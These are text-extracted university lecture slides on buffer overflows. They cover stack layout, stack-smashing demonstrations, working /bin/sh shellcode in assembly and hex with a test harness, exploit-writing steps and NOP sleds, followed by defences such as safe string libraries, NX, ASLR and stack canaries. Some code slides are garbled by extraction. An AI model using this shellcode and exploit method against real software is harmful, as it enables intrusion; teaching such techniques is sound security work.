57
Buffer Overflows CSC 482/582: Computer Security Slide #1

Buffer Overflows - Northern Kentucky University · CSC 482/582: Computer Security Slide #33 . Fixing the Shellcode . What if . execve() fails? Program will execute garbage from stock

  • Upload
    vonhu

  • View
    218

  • Download
    3

Embed Size (px)

Citation preview

Buffer Overflows

CSC 482/582: Computer Security Slide #1

CSC 482/582: Computer Security Slide #2

Topics 1. What is a Buffer Overflow? 2. The Most Common Implementation Flaw. 3. Process Memory Layout. 4. The Stack and C’s Calling Convention. 5. Stack Overflows. 6. Shellcode. 7. Heap Overflows. 8. Defences.

CSC 482/582: Computer Security Slide #3

What is a Buffer Overflow? buffer: a limited, contiguously allocated set of

memory. static: char buffer[32] dynamic: malloc(), new

What happens when you attempt to access an element beyond the end of the buffer? Bounds checking prevents such accesses in most

languages like Python, Ruby, and Java. But in C/C++, large inputs can overflow the buffer,

overwriting adjacent data in memory.

An Example Buffer Overflow char A[8]; short B=3;

A A A A A A A A B B

0 0 0 0 0 0 0 0 0 3

A A A A A A A A B B

o v e r f l o w s 0

gets(A);

CSC 482/582: Computer Security 4

CSC 482/582: Computer Security Slide #5

Out-of-Bounds Read What’s the mistake in this program? int main() { int array[5] = {1, 2, 3, 4, 5};

printf("%d\n", array[5]);

}

Program output: > gcc -o buffer buffer.c > ./buffer

7077876

CSC 482/582: Computer Security Slide #6

Out of Bounds Write Writing beyond the buffer:

int main() { int array[5] = {1, 2, 3, 4, 5}; int i; for( i=0; i <= 255; ++i ) array[i] = 41; }

Program output: > gcc -o bufferw bufferw.c > ./bufferw Segmentation fault (core dumped)

CSC 482/582: Computer Security Slide #7

What happens when a buffer overflows? What happened to our buffer overflow?

1. Overwrote memory beyond buffer with 41. 2. Program crashed with Segmentation fault.

1. Directly or indirectly accessed unmapped memory. 2. Creates a page fault exception. 3. OS does not find mapping on page table. 4. OS sends segmentation fault signal to process.

Do overflows always produce a crash? Unintentional overflows usually do, but Attackers will restrict writes to mapped pages.

CSC 482/582: Computer Security Slide #8

A Common Vulnerability Old, Persistent Vulnerability

1988 Morris Worm (fingerd) 2013 Apple Security Update for Quicktime

http://support.apple.com/kb/HT5806

Why do developers keep making this mistake? C/C++ inherently unsafe.

No bounds checking on arrays or pointer refs. Unsafe library functions: strcpy(), sprintf(), gets(), scanf(), etc.

Process Memory Layout

argv, env

stack

heap

bss

data

text

high mem

low mem

Argv/Env: CLI args and environment Stack: generally grows downwards Heap: generally grows upwards BSS: unitialized global data Data: initialized global data Text: read-only program code

CSC 482/582: Computer Security Slide #9

Memory Layout Example /* data segment: initialized global data */ int a[] = { 1, 2, 3, 4, 5 }; /* bss segment: uninitialized global data */ int b; /* text segment: contains program code */ int main(int argc, char **argv) /* ptr to argv */ { /* stack: local variables */ int *c; /* heap: dynamic allocation by new or malloc */ c = (int *)malloc(5 * sizeof(int)); }

CSC 482/582: Computer Security Slide #10

CSC 482/582: Computer Security Slide #11

What is the Call Stack? LIFO data structure: push/pop

Stack grows downwards in memory. SP (%esp) points to top of stack (lowest address)

What’s on the call stack? Function parameters. Local variables. Return values. Return address (security critical.)

Call Stack Layout b() { … } a() { b(); } main() { a(); }

Unallocated

Stack Frame for b()

Stack Frame for a()

Stack Frame for main()

High Memory

Low Memory

CSC 482/582: Computer Security 12

CSC 482/582: Computer Security Slide #13

Accessing the Stack Pushing an item onto the stack.

1. Copy 4 bytes of data to stack. 2. Decrement SP by 4. Example: pushl $12

Popping data from the stack. 1. Copy 4 bytes of data from stack. 2. Increment SP by 4. Example: popl %eax Retrieve data without pop: movl %esp, %eax

CSC 482/582: Computer Security Slide #14

What is a Stack Frame? Block of stack data for one procedure call. Frame pointer (FP) points to frame:

Use offsets to find local variables. SP continually moves with push/pops. FP only moves on function call/return. Intel CPUs use %ebp register for FP.

CSC 482/582: Computer Security Slide #15

C Calling Convention 1. Push all params onto stack in reverse order.

Parameter #N … Parameter #2 Parameter #1

2. Issues a call instruction. 1. Pushes address of next instruction (the return

address) onto stack. 2. Modifies IP (%eip) to point to start of function.

CSC 482/582: Computer Security Slide #16

Stack before Function Executes Frame Pointer Stack Pointer

old stack frame

parameter #N

parameter #1

return address

CSC 482/582: Computer Security Slide #17

C Calling Convention 1. Function pushes FP (%ebp) onto stack.

Save FP for previous function. pushl %ebp

2. Copies SP to FP. Allows function to access params as fixed indexes from

base pointer. movl %esp, %ebp

3. Reserves stack space for local vars. subl $12, %esp

CSC 482/582: Computer Security Slide #18

Stack at Function Start

Frame Pointer Stack Pointer

old stack frame

parameter #N

parameter #1 return address

old FP

local vars

CSC 482/582: Computer Security Slide #19

C Calling Convention 1. After execution, stores return value in %eax.

movl $1, %eax

2. Resets stack to pre-call state. Destroys current stack frame; restores caller’s frame. movl %esp, %ebp

popl %ebp

3. Returns control back to where called from. Pops top word from stack and sets %eip to that value. ret

CSC 482/582: Computer Security Slide #20

Stack after Function Return Frame Pointer Stack Pointer

old frame

return value

CSC 482/582: Computer Security Slide #21

C Calling Convention: Registers Assume all register values destroyed. Only %ebp is guaranteed to be restored. Return value will overwrite %eax. Other registers depend on function actions.

Different languages = different calling conventions: Some use registers (easier on RISC processors.) Others use a combination of registers + other

storage methods.

CSC 482/582: Computer Security Slide #22

Overflow Example in C void printInput() { char buffer[32]; gets(buffer); printf("%s\n", buffer); } void main() { printInput(); return 0; }

CSC 482/582: Computer Security Slide #23

Overflow in Assembly printInput: pushl %ebp movl %esp, %ebp subl $40, %esp subl $12, %esp leal -40(%ebp), %eax pushl %eax call gets addl $16, %esp subl $8, %esp leal -40(%ebp), %eax pushl %eax pushl $.LC0 call printf addl $16, %esp mov %esp, %ebp pop %ebp ret

main: pushl %ebp movl %esp, %ebp subl $8, %esp andl $-16, %esp movl $0, %eax addl $15, %eax addl $15, %eax shrl $4, %eax sall $4, %eax subl %eax, %esp call printInput mov %esp, %ebp pop %ebp ret

CSC 482/582: Computer Security Slide #24

Running Overflow Run the program with normal input. > gcc –ggdb –o overflow overflow.c > ./overflow 01234567890123456789012345678901 01234567890123456789012345678901

Run the program with long input. > ./overflow 0123456789012345678901234567890123456890 0123456789012345678901234567890123456890 Segmentation fault (core dumped)

CSC 482/582: Computer Security Slide #25

Running Overflow with Debugger > gdb overflow (gdb) r Starting program: /home/waldenj/work/bof/overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x080483c0 in printInput () at overflow.c:5 5 } (gdb) info registers eax 0x47 71 ecx 0x0 0 edx 0x47 71 ebx 0x6bfff4 7077876 esp 0xbfe97164 ebp 0x41414141 esi 0xbfe971f4 edi 0xbfe97180 eip 0x41414141 eflags 0x210292 2163346

CSC 482/582: Computer Security Slide #26

Smashing the Stack Success!

We overwrote part of the stack. Our overwritten return value was loaded into the

instruction pointer (%eip). Failure!

The program crashed. EIP loaded with invalid address 0x41414141. Address 0x41414141 is not in a valid memory page.

How to fix it? Insert a valid address into the buffer.

CSC 482/582: Computer Security Slide #27

Controlling Execution Let’s make the program an infinite loop by

changing the return value to start of main().

(gdb) disassemble main

Dump of assembler code for main:

0x080483c1 <main+0>: push %ebp 0x080483c2 <main+1>: mov %esp,%ebp

0x080483c4 <main+3>: call 0x804839c <printInput>

0x080483c9 <main+8>: leave

0x080483ca <main+9>: ret

CSC 482/582: Computer Security Slide #28

Controlling Execution How do we input a non-ascii value?

void main() { char addr[44]; int i; for( i=0; i<=40; i+=4 ) *(long *) &addr[i] = 0x080483c1; puts(addr); }

Does it work? (./address; cat) | ./overflow input1 input1 input2 input2 input3 Segmentation fault (core dumped)

CSC 482/582: Computer Security Slide #29

Gaining Complete Control Use a two step process:

1. Use buffer overflow to write machine code (shellcode) onto stack.

2. Rewrite return address to point to machine code on the stack.

Program will do whatever we tell it to do in those machine instructions.

Shellcode Shellcode is a small piece of machine code inserted into a program by exploiting a vulnerability.

Called shellcode since it is often used to start a command shell under control of attacker.

Example shellcode Remote shell (like ssh) Reverse shell (connects to your machine like ssh client) Remote desktop (RDP, VNC, etc.) Downloader (installs remote control tools)

CSC 482/582: Computer Security Slide #30

CSC 482/582: Computer Security Slide #31

Creating Shellcode Shellcode in C.

int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = 0x0; execve(name[0], name, 0x0); }

Running the program. > gcc –ggdb –static –o shell shellcode.c > ./shell sh-3.00$ exit

CSC 482/582: Computer Security Slide #32

Examining the Shellcode Shellcode in assembly:

Null-terminated string “/bin/sh” in memory. Addresse of “/bin/sh” in memory followed by a null

word. Copy 0xB into EAX register. Copy address of the address of the string “/bin/sh”

into EBX register. Copy address of the string “/bin/sh” into ECX. Copy address of null word into EDX register. Exec the int $0x80 instruction.

CSC 482/582: Computer Security Slide #33

Fixing the Shellcode What if execve() fails?

Program will execute garbage from stock. We’ll call exit() after execve() to exit cleanly.

Where will our code end up in memory? We don’t know. Use relative address with JMP and CALL instructions to

avoid needing absolute addresses. What if our code contains null bytes?

Vulnerable program will stop reading data at null. Substitute problem instructions with equivalents

without null bytes, using techniques like XORing values with themselves to indirectly generate zeros.

CSC 482/582: Computer Security Slide #34

Shellcode Assembly jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes

CSC 482/582: Computer Security Slide #35

Testing the Shellcode char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } > gcc -o testsc2 testsc2.c > ./testsc2 sh-3.00$ exit

CSC 482/582: Computer Security Slide #36

Writing an Exploit 1. Construct shellcode to inject. 2. Find an exploitable buffer in your target

application. 3. Discover location of stack pointer, so you have

an idea of where your shellcode will be located. 4. Run program with your input that:

1. Injects shellcode into stack memory. 2. Overwrites return address with address of

your shellcode.

CSC 482/582: Computer Security Slide #37

NOP pads Determining the correct address of your shellcode

is hard, even if you don’t have source. What if you could have multiple target addresses? Pad buffer with NOP instructions preceding the

shellcode. If function returns anywhere in that NOP pad, it

will continue executing until it executes the shellcode.

Heap Overflows Programs allocate memory on heap via

new malloc()

To run shellcode, attacker overwrites function pointer C++ methods implemented as function pointers. malloc() stores controls information with data in linked

list; pointer overwriting can yield shellcode execution.

CSC 482/582: Computer Security Slide #38

CSC 482/582: Computer Security Slide #39

Defending Yourself 1. Use language with bounds checking. 2. Use boundchecking/stackguarding compiler. 3. Do your own bounds checking. 4. Avoid unsafe functions

strcpy()

gets()

5. Use potentially dangerous functions securely strncpy()

strncat()

CSC 482/582: Computer Security Slide #40

Safe String Libraries strlcat() and strlcpy()

BSD-licensed open source routines C++ std::string library

Dynamically-sized strings SafeStr library provides safestr_t objects

Dynamically-sized Cast to (char *) for read-only purposes only

Microsoft’s strsafe.h

CSC 482/582: Computer Security Slide #41

gets() /* * gets() version reads l ine fr om user input unt i l EOF or new line * per forms no bounds checking at al l—BSS, p. 142 * /int main() {

char buf[1024] ;gets(buf);

}

/* * fgets() version accepts a size parameter ; always speci fy this parameter * /# define BUFSZ 1024

int main() {char buf[BUFSZ] ;fgets(buf, BUFSZ, stdin)

}

CSC 482/582: Computer Security Slide #42

strcpy() /* code examples fr om BSS, pp. 143-144 * /str cpy(dst, sr c);

/* copying wi th expl ici t bounds checking * /i f (str len(sr c) > = dst_size) {

/* er ror * /} else {

str cpy(dst, sr c);}

/* * or ... use str ncpy, but be careful to avoid off-by-one bugs: * i f str len(sr c) = = dst_size, dst wi l l not be nul l-terminated * /str ncpy(dst, sr c, dst_size – 1);dst[dst_size – 1] = '\0';

/* * or ... dynamical ly al locate r ight-sized buffer when you need i t * /dst = (char * )malloc(str len(sr c) + 1);str cpy(dst, sr c);

CSC 482/582: Computer Security Slide #43

sprintf() /* pr int a usage m essage (BSS, pp. 144 -145 ) * /int m ain( int ar gc, char * *argv) {

char usage[ 102 4 ] ;spr int f(usage, “U SAGE: %s -f f lag [ar g1 ] \n”, ar gv[0 ] ;

}

/* at tack code * /int m ain( ) {

execl( “/path/to/pr ogr am ”, < < buffer over f low st r ing> > , N U LL) ;}

/* safe solut ion using nonstandar d snpr int f( ) code * /int m ain( int ar gc, char * *argv) {

char usage[ 102 4 ] ;char fm t = “U SAGE: %s -f f lag [ar g1 ] \n”;spr int f(usage, 1024 , fm t , ar gv[0 ] ;

}

Bounded Function Pitfalls 1. Destination buffer overflows because bound

depends on size of source data, not destination buffer.

2. Destination buffer left without null terminator, often as result of off-by-one error.

3. Destination buffer overflows because its bound is specified as the total size of the buffer, rather than space remaining.

4. Programs writes to arbitrary location in memory as destination buffer is not null-terminated and function begins writing at location of first null in destination buffer.

CSC 482/582: Computer Security Slide #44

Safe String Libraries UNIX Libraries

C Bstrlib MT-Safe SafeStr strlcpy(), strlcat() Vstr

C++ std::string (STL)

Windows Libraries C

Safe CRT strlcpy(), strlcat() StrSafe

C++ CString (MFC) Safe C++ std::string (STL)

CSC 482/582: Computer Security Slide #45

strlcpy() and strlcat() size_t strlcpy (char *dst, const char *src, size_t size);

size_t strlcat (char *dst, const char *src, size_t size);

Size is max size of dest buffer (not maximum number of chars to copy), including NULL.

Destination buffer always NULL terminated Return how much space would be required in

destination buffer to perform operation. BSD-style open source license.

CSC 482/582: Computer Security Slide #46

CSC 482/582: Computer Security

Character Sets Characters represented using encoding forms that map code points to printable chars. Fixed Width ISO-8859-1 UTF-32

Variable Width UTF-8 (most Internet protocols, Python, Ruby) UTF-16 (Java, .NET)

Character Encoding Code Point s ISO-8859-1

UTF-8 73 73

ÿ ISO-8859-1 UTF-8

FF C3 BF

47

Wide Characters C/C++ char contains 1-byte characters wchar_t is 2-byte, 4-byte on some platforms

Java and .NET strings UTF-16 encoding

Buffer Overflow issues Mixing up different character-set string types. Are sizes measured in bytes or characters?

CSC 482/582: Computer Security Slide #48

CSC 482/582: Computer Security Slide #49

C++ Dangers Using C-style strings with cin

char username[16]; cin >> username;

The [] operator does not perform bounds checking Converting from C++ to C-style strings

• string::data() output is not NULL terminated • string::c_str() ouput is NULL terminated

Non-executable Stack Memory protection prevents code on the stack from being executed to stop stack smashing attacks.

NX implemented as a permission bit on page table. Can set other areas of memory NX too, but not all.

Limitations Some applications need to execute code on the stack. Attackers can target other areas of memory. Buffer overflows can result in remote code execution

without running attacker generated shellcode.

CSC 482/582: Computer Security Slide #50

Return-Oriented Programming ROP is an exploit technique in which the attacker gains control of the call stack and uses it to execute small pieces of code, called “gadgets.”

Attacker uses existing code. Bypasses NX defense, since no new code executed.

Gadgets are typically found in shared libraries Gadgets can be entire functions. Gadgets can be fragments of code that end in a ret

instruction (even unintentional instructions.) Attacker controls order of execution and parameters by

placing data on call stack.

CSC 482/582: Computer Security Slide #51

CSC 482/582: Computer Security Slide #52

Randomization Randomize layout of memory space

Stack location. Shared library locations. Heap location.

PIE: Position Independent Executable Default format: binary compiled to work at an address

selected when program was compiled. Gcc can compile binaries to be freely relocatable

throughout address space. gcc flags: -fpie –pie Program loaded at different address for each invocation.

Canary Defenses Compiler changes calling convention in two ways:

Adds a canary word to the stack (“canary in a coal mine”) Verifies presence of canary word before executing the ret

instruction to return to address on stack. Protects against stack smashing since

Overflow would have to overwrite canary to reach return value.

If canary is chosen randomly, attacker cannot know what to overwrite to that memory location.

CSC 482/582: Computer Security Slide #53

CSC 482/582: Computer Security Slide #54

Canary Stack Layout

Frame Pointer Stack Pointer

old frame

param1

param2

old PC

canary word

old FP

local vars

CSC 482/582: Computer Security Slide #55

Stackguard Effectiveness Code Dependencies

are dynamic libraries stackguarded? Compatibility

Recompiled entire RedHat 7.3 distribution Small performance Cost

canary insert and check overhead on each call Protects against future stack attacks

CSC 482/582: Computer Security Slide #56

Key Points Buffer overflow attacks.

Buffers and overflows Stack layout and return addresses Stack smashing attacks. Shellcode.

Defending against buffer overflows. Use a language with bounds checking. Check your own bounds in C/C++. Avoid unsafe functions in C/C++. Use compiler/OS stack defence techniques.

CSC 482/582: Computer Security Slide #57

References 1. Aleph Null, “Smashing the Stack for Fun and Profit,” Phrack 49, 1996. 2. Bartlett, Johnathan, Programming from the Ground Up, Bartlett Publishing,

2004. 3. Bishop, Matt, Introduction to Computer Security, Addison-Wesley, 2005. 4. Conover, Matt & w00w00 Security Team, “w00w00 on Heap Overflows,”

http://www.w00w00.org/files/articles/heaptut.txt 5. Graff, Mark and van Wyk, Kenneth, Secure Coding: Principles & Practices,

O’Reilly, 2003. 6. Horizon, “Bypassing Non-executable Stack Protection on Solaris,”

http://packetstormsecurity.nl/groups/horizon/stack.txt 7. Hoglund, Greg and McGraw, Gary, Exploiting Software: How to Break Code,

Addison-Wesley, 2004. 8. Howard, Michael and LeBlanc, David, Writing Secure Code, 2nd edition,

Microsoft Press, 2003. 9. Koziol, et. al, The Shellcoder’s Handbook: Discovering and Exploiting Security

Holes, Wiley, 2004. 10. Viega, John, and McGraw, Gary, Building Secure Software, Addison-Wesley,

2002. 11. Wheeler, David, Secure Programming for UNIX and Linux HOWTO,

http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html, 2003.